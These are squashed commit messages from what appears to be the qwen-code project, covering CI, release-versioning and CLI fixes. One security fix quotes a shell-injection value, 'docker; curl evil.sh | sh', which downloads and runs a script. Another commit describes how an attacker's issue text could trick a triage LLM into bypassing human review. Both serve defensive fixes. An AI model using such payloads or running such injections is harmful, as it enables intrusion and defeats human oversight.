* feat(release): generate AI-assisted release notes
* docs(release): remove AI release notes planning docs
* fix(release): preserve complete AI release notes
* refactor(release): trim AI notes generator surface
* ci: Open autofix issues for main CI failures
* fix(release): harden AI notes review feedback
* fix(release): close AI notes review gaps
PR #6706 updated review-pr workflow timeout values (job timeout to 260m,
default to 180m, max to 240m) but did not update the corresponding test
expectations, causing CI failures on all subsequent PRs.
The assertPreparedPackageSize check introduced after v0.19.8 set an
80 MB ceiling, but the current package is 80.58 MB — 597 KB over —
causing the Docker sandbox build to fail during the v0.19.9 release.
Bump to 96 MB to accommodate normal growth with ample headroom.
Co-authored-by: github-actions[bot] <github-actions[bot]@users.noreply.github.com>
Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>
* test(core): stabilize file history eviction test
* ci: clean package build artifacts before fast-path check
* ci: preserve web build outputs during fast-path check
* fix(ci): detect silent triage failures with empty-response check
The qwen-triage workflow relied on qwen-code-action to surface failures,
but when the CLI exited 0 with empty output the step reported success
with no triage comments posted. Add a post-step that checks the action's
summary output and fails the job if it is empty, making silent failures
visible in the Actions log.
Defense-in-depth for QwenLM/qwen-code#6553 (primary fix in
qwen-code-action).
* ci: bump qwen-code-action pin to 6d08e91
Picks up the stderr visibility fix (QwenLM/qwen-code-action#12) that
always emits stderr to the step log and warns on empty responses.
Bumps all 5 workflows pinned to the action.
* fix(ci): pass triage summary through env
* fix(core): configurable vision bridge timeout + retry with fresh budget
The vision bridge capped image transcription at a hardcoded 30s. On a
slow or proxied vision endpoint one latency spike permanently lost the
image: the retry inside the side query shared the same abort signal, so
a second attempt inherited whatever seconds were left of the first
attempt's budget.
Add a visionBridgeTimeoutMs setting (per attempt; unset keeps 30s,
non-positive values are ignored) and retry a timed-out attempt once at
the bridge level with a freshly created timeout signal. Non-timeout
failures still fail immediately, and user cancellation is still
reported as skipped.
Fixes#6524
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
* fix(core): harden visionBridgeTimeoutMs against invalid timer values
Maintainer E2E review found that fractional or out-of-range values such as 30000.5 and 4294967296 could pass the old number-typed config path and Config's Number.isFinite && > 0 guard. Node rejects fractional AbortSignal.timeout values with RangeError and can degrade oversized timer values to a 1ms timeout, which made image turns fail before any model request.
Tighten the Config guard to positive integers within the supported 32-bit timer ceiling, make visionBridgeTimeoutMs a bounded integer setting so /config and the generated JSON schema reject bad values up front, and move AbortSignal.timeout/any creation inside the bridge try block so any future bad value becomes a safe failure result instead of an escaped rejection. Also mark the setting requiresRestart because it is read once in the Config constructor.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Claude Fable 5 <noreply@anthropic.com>
* fix(scripts): handle missing NPM dist-tags gracefully in release versioning (#6476)
getAndVerifyTags now returns null instead of throwing when no baseline
version exists on NPM. getPreviewVersion and getStableVersion fall back
to the package.json base version, matching the pattern already used by
getNightlyVersion. This prevents the release workflow from failing when
no nightly or preview dist-tag has been published yet.
* fix(scripts): harden release versioning against transient NPM errors and missing dist-tags (#6476)
- Distinguish 404 from transient errors in getVersionFromNPM so NPM
outages halt the release instead of silently falling back
- Consult getAllVersionsFromNPM when dist-tag is missing to derive
baseline from published versions rather than returning empty
- Add console.error logging when getAndVerifyTags returns null
- Validate package.json fallback version in getStableVersion and
getPreviewVersion
- Add tests for promote-nightly/patch throw paths, true greenfield
scenario, versions-list derivation, and transient error propagation
* fix(scripts): propagate transient NPM errors in getAllVersionsFromNPM (#6476)
getAllVersionsFromNPM silently swallowed all errors including transient
network failures (ETIMEDOUT, ECONNRESET), which became load-bearing now
that the missing-dist-tag fallback depends on it. Match the same 404-only
pattern already used by getVersionFromNPM. Also fix a DRY violation in
getPreviewVersion, correct misleading test comments, and add test
coverage for the versions-list error path and latest filter branch.
* fix(scripts): tighten 404 detection and tolerate transient versions-list failures (#6476)
- Remove redundant '404' substring check; E404 is the canonical npm error code
and bare '404' could false-match unrelated errors (port 4043, E4040)
- Catch transient versions-list errors in detectRollbackAndGetBaseline when
distTagVersion is already resolved, avoiding hard-blocking a release when
rollback detection is merely a safety net
- Update and add tests for the new fallback behavior and deprecated-versions path
* fix(scripts): guard release version fallback edge cases
* test(scripts): cover greenfield versions list E404
---------
Co-authored-by: Qwen Code Autofix <qwen-code-bot@alibabacloud.com>
Co-authored-by: qwen-code[bot] <qwen-code[bot]@users.noreply.github.com>
Co-authored-by: Qwen Code Autofix <qwen-code@autofix.bot>
Co-authored-by: yiliang114 <effortyiliang@gmail.com>
* feat(cli): auto-retry next port when serve port is in use
When `qwen serve` or `npm run dev:daemon` encounters EADDRINUSE on the
default port (4170), automatically try the next available port (up to 10
attempts) instead of failing immediately. This allows running multiple
daemon instances side-by-side without manual port management.
- run-qwen-serve.ts: replace single listen() with recursive tryListen()
that retries on EADDRINUSE; --port 0 (ephemeral) skips retry
- daemon-dev.js: pre-scan for an available port via net probe before
spawning the daemon child, ensuring health-poll and web-shell target
the correct URL
- Tests: retry-then-succeed, non-EADDRINUSE immediate-fail, and existing
all-ports-exhausted test all pass (138 tests)
* test(cli): fix EADDRINUSE mock to create fresh server per listen attempt
The existing test reused a single fakeServer across all retry attempts,
accumulating 10+ once('listening') listeners and triggering a
MaxListenersExceededWarning. Create a new server per call to match
production behavior where each tryListen creates a fresh server.
* fix: address review feedback on port retry
- daemon-dev.js: strip IPv6 brackets before probe (ENOTFOUND fix),
add port range/NaN validation
- run-qwen-serve.ts: remove duplicate runtime error listener
(onListening already installs one via removeAllListeners + on)
- tests: add exhaustion (all 10 ports), port 0 EADDRINUSE no-retry,
and stderr retry message assertion (140 tests pass)
* fix: update stale comment referencing removed server.once('error', reject)
* fix: address R2 review — port cap, TLS reuse, exhaustion summary
- daemon-dev.js: cap probe at port 65535, skip probe when user
specifies --port, add --compacted-replay-max-bytes to whitelist
- run-qwen-serve.ts: move https.createServer before tryListen (avoid
recreating TLS context per retry), cap retry at 65535, log summary
"all ports X–Y are in use" on exhaustion
- tests: verify exhaustion summary stderr message
* fix: clear stale listening listeners on httpsServer before retry
* perf(ci): optimize autofix pipeline — fast-track, skip duplicate build, scoped tests (#6196)
Three optimizations to reduce autofix wall-clock from ~48 min to ~28-35 min:
1. Fast-track decision: skip LLM assessment for trusted triggers
(workflow_dispatch with explicit issue, issues:labeled event).
2. Skip duplicate build: set QWEN_SKIP_PREPARE=1 so npm ci does not
re-run the prepare hook that builds+bundles before the explicit
build step.
3. Scoped verification tests: run only changed-file tests via
--changed instead of full per-package suites. Full regression
is covered by regular CI on the PR.
Also hardens live test gating (require QWEN_CODE_RUN_LIVE_TESTS=1)
and increases crawler test timeout to 30s.
* refactor(ci): simplify verification gate package discovery
Replace 30-line inline Node script with the original one-liner
`grep -oE '^packages/[^/]+'`. The Node script checked for
package.json existence and test scripts, but `--if-present` already
handles missing test scripts and all workspace dirs have package.json.
Addresses design-review item #7.
* fix(ci): tighten autofix changed-test gate
* fix(ci): require maintainer-applied `autofix/approved` label for tier-1 fast-path
The scheduled scan and `issues:labeled` event paths in `qwen-autofix.yml`
previously trusted the `status/ready-for-agent` label alone, which is
applied by an LLM reading untrusted issue text. An attacker could craft
issue content to trick the triage LLM into labeling it ready, bypassing
human review.
Introduce an `autofix/approved` label that only maintainers (write+
permission) can apply. Both the cron scan and event-triggered paths now
require this label alongside `status/ready-for-agent` before entering the
autonomous fix pipeline (dual-factor: LLM signal + human confirmation).
Also:
- `release.yml` automatically adds `autofix/approved` on workflow-created
release-failure issues (trusted source, preserves existing automation)
- Forced-issue path (non-dispatch) also checks for the new label
- Claim step strips `autofix/approved` to keep processed issues clean
Closes#5634
* fix(ci): address autofix approval review
* fix(ci): address autofix approval follow-ups
* test(ci): cover autofix approval gate
* fix(ci): harden autofix approval revalidation
* fix(ci): avoid autofix approval retry loop
* fix(ci): harden autofix claim handling
* fix(ci): clarify autofix reapproval label
* fix(ci): make autofix claim label update non-destructive
git diff --quiet exits 0 when only CRLF normalization differs (content
is identical after filter), so the conditional git restore was skipped
even though the working tree was dirty. This caused git checkout -B to
fail on NOTICES.txt. Remove the conditional guard so restore always runs.
Co-authored-by: Qwen Autofix <qwen-autofix@alibaba-inc.com>
* feat(web-shell): show the qwen-code version in the sidebar footer
The Web Shell had no visible version. Show the running qwen-code version (from the daemon capabilities) in the sidebar footer, inline with the Settings button so it stays visible without taking its own row.
Render the version consistently wherever it appears:
- Prefix "v" only for a real semver release; a non-semver fallback such as "unknown" is shown as-is, so we never render a bogus "vunknown". Applied to the Web Shell badge and the TUI header.
- Dev builds (scripts/dev.js) now report the real package version instead of the "dev" sentinel, matching scripts/start.js, so the UI shows the actual version (e.g. v0.19.4). DEV=true / NODE_ENV=development remain the signals that mark a dev build.
* test: add readFileSync to node:fs mock in dev.test.js
scripts/dev.js now reads package.json via readFileSync at module load to
report the real CLI_VERSION, but the node:fs mock in dev.test.js did not
export readFileSync, causing vitest to throw "No readFileSync export is
defined on the node:fs mock" and failing the suite.
* fix(ci): allow triage for fork PRs that pass safety precheck
Fork PRs by non-write authors were blocked from triage even when the
safety precheck passed, because the authorize job gates on write
permission. Triage is read-only (checks out trusted base code, reads PR
via API), so precheck pass is sufficient to run it safely.
Split the pull_request_target and issue_comment authorization paths:
- pull_request_target: accept write permission OR precheck pass
- issue_comment /triage: still require write permission on the commenter
tmux-testing is unchanged — it executes PR code and must keep the write
permission gate.
* fix(ci): allow prechecked fork PR automation
* docs(ci): clarify PR review authorization routing
* test(ci): guard fork precheck authorization
* fix(ci): tighten fork precheck review guards
* test(ci): guard review-request authorization
The dev/build helper sandbox_command.js interpolated the QWEN_SANDBOX
value straight into a shell string passed to execSync, so a value like
'docker; curl evil.sh | sh' would run the trailing command. Pass the
candidate as a separate argv element via execFileSync instead, using an
absolute /bin/sh for the POSIX 'command -v' builtin so a PATH-controlled
shell cannot be hijacked either.
Add a subprocess regression test covering several injection payload shapes.
* ci(workflows): remind authors not to force-push active PRs
Add a workflow that detects force-pushes (rebase/amend/reset) to open PRs
via the pull_request_target synchronize event and posts a one-time,
bilingual reminder that force-pushing invalidates existing review comments
and that the integration bots squash all changes into a single commit
automatically. A normal push (compare status "ahead") is ignored; the
reminder is posted at most once per PR, bot-initiated pushes are skipped,
and a failed compare is treated conservatively (no comment).
* ci(workflows): address review — add issues:write, serialize without cancel
- Add `issues: write`: the listComments/createComment calls go through the
Issues API; declaring it matches the repo's other PR-commenting workflows
and avoids any risk of a 403 making the workflow inert.
- Set `cancel-in-progress: false`: an in-flight run that already detected a
force-push must finish and post. The concurrency group still serializes
runs per PR, and the once-per-PR marker prevents duplicates, so later
pushes queue and then no-op instead of cancelling (and silently dropping)
a pending reminder.
* ci(workflows): harden force-push detection per review
- Marker dedup now requires the comment to be from github-actions[bot], so a
user pasting the marker string into a comment can't suppress reminders.
- Skip known automation logins (qwen-code-dev-bot et al.) that push via PAT as
sender.type 'User', not just GitHub App bots (mirrors qwen-autofix KNOWN_BOTS).
- Narrow the compare catch to 404 (orphaned old tip -> skip); rethrow other
errors so auth/rate failures go red instead of silently no-op'ing.
- Wrap createComment with structured error logging + rethrow.
Kept 3-dot compare and base-repo owner: verified that 3-dot returns
diverged/behind for force-pushes and that the base repo resolves fork-PR
commits, while the suggested 2-dot syntax 404s in the REST API.
* test(ci): add structural test for the force-push reminder workflow
- Add scripts/tests/pr-force-push-reminder-workflow.test.js (runs under
test:scripts, which CI chains into test:ci). It asserts the trigger, repo
guard, permissions, serialized concurrency, KNOWN_AUTOMATION sync with
qwen-autofix, the 3-dot compare on the base repo, 404-vs-rethrow, the marker
author check, and the bilingual body — locking in the reviewed behaviors.
- Wrap the listComments paginate call in the same core.error + rethrow the
other two API calls already use.
- Note that KNOWN_AUTOMATION must stay in sync with qwen-autofix.yml KNOWN_BOTS.
* ci(workflows): drop concurrency group, rely on marker for idempotency
A concurrency group keeps at most one pending run per group, so a burst of
pushes can cancel a still-pending force-push run before it reaches the script,
dropping the reminder this workflow exists to post. Remove the group entirely:
every synchronize event now runs independently and is always evaluated, and the
once-per-PR marker provides idempotency. A rare double-post on two
near-simultaneous first force-pushes is the acceptable cost of never silently
missing one. Update the structural test to assert there is no concurrency block.
The reviewer's suggested `queue: max` is not a valid GitHub Actions concurrency
key (only `group`/`cancel-in-progress` are allowed) and fails actionlint.
* test(ci): use Qwen Team header and assert the dedup skip path
- Switch the copyright header to the prevailing `Qwen Team` (14 of 17 sibling
test files use it; this file had copied an older Google LLC header).
- Assert the idempotency skip log line so removing the marker guard fails a test.
* test(ci): mechanically enforce KNOWN_AUTOMATION sync with qwen-autofix
Read qwen-autofix.yml's KNOWN_BOTS and assert each login is also skipped here,
so adding a bot there without updating this workflow fails the test instead of
silently drifting. Replaces the hardcoded login list whose comment overclaimed
that the sync was verified.